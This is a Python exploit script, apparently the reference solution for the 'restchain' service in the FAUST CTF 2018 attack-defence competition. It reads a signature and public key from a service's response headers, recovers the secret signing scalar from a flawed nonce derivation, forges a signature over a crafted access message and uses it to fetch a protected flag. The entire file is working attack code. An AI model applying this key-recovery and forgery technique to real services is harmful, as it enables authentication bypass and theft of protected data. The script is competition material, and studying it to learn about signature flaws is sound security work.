<reponame>fausecteam/faustctf-2018-restchain<gh_stars>0
#!/usr/bin/env python3

import requests
import hashlib
from base64 import b64decode, b64encode

l = 2**252 + 27742317777372353535851937790883648493

def exploit(api, flagid):
	res = requests.get(api + '/block/' + flagid)
	assert res.status_code == 403
	pub_str = res.headers['X-Restchain-Signer']
	original_sig_str = res.headers['X-Restchain-Signature']
	payload_hash_str = res.headers['X-Restchain-Payload-Hash']
	print('received public key:', pub_str)
	print('received message hash:', payload_hash_str)
	print('received signature:', original_sig_str)
	pub_bytes = b64decode(pub_str)
	original_sig_bytes = b64decode(original_sig_str)
	original_sig_R_bytes = original_sig_bytes[:32]
	original_sig_S_bytes = original_sig_bytes[32:]
	payload_hash_bytes = bytes.fromhex(payload_hash_str)
	pub = int.from_bytes(pub_bytes, byteorder='little')
	original_sig_R = int.from_bytes(original_sig_R_bytes, byteorder='little')
	original_sig_S = int.from_bytes(original_sig_S_bytes, byteorder='little')
	payload_hash = int.from_bytes(payload_hash_bytes, byteorder='little')

	sha512 = hashlib.sha512()
	sha512.update(original_sig_R_bytes)
	sha512.update(pub_bytes)
	sha512.update(payload_hash_bytes)
	h = int.from_bytes(sha512.digest(), byteorder='little') % l

	sha512 = hashlib.sha512()
	sha512.update(pub_bytes)
	sha512.update(payload_hash_bytes)
	r = int.from_bytes(sha512.digest(), byteorder='little') % l

	inv_h = pow(h, l-2, l)
	s = ((original_sig_S - r) * inv_h) % l
	print('computed secret s:', s)

	message = b""
	message += b"HTTP/1.0 200 OK\r\n"
	message += b"Content-Type: application/vnd.faust.faustctf-2018-restchain-access-signature\r\n"
	message += b"Content-Length: 0\r\n"
	message += b"\r\n"
	sha256 = hashlib.sha256()
	sha256.update(message)
	fake_hash = sha256.digest()
	print('faking signature for hash:', fake_hash.hex())

	sha512 = hashlib.sha512()
	sha512.update(original_sig_R_bytes)
	sha512.update(pub_bytes)
	sha512.update(fake_hash)
	h_fake = int.from_bytes(sha512.digest(), byteorder='little') % l
	S_fake = ((h_fake * s) + r) % l
	fake_sig_bytes = original_sig_R_bytes + S_fake.to_bytes(32, byteorder='little')
	fake_sig_str = b64encode(fake_sig_bytes).decode('ascii')
	print('computed fake signature:', fake_sig_str)

	res = requests.get(api + '/block/' + flagid, headers={
		'X-Restchain-Acl-Key-Id': 'FAUST',
		'X-Restchain-Acl-Signature': fake_sig_str,
	})
	assert res.status_code == 200
	print('-' * 80)
	print(res.text)

if __name__ == '__main__':
	import sys
	exploit(*sys.argv[1:])
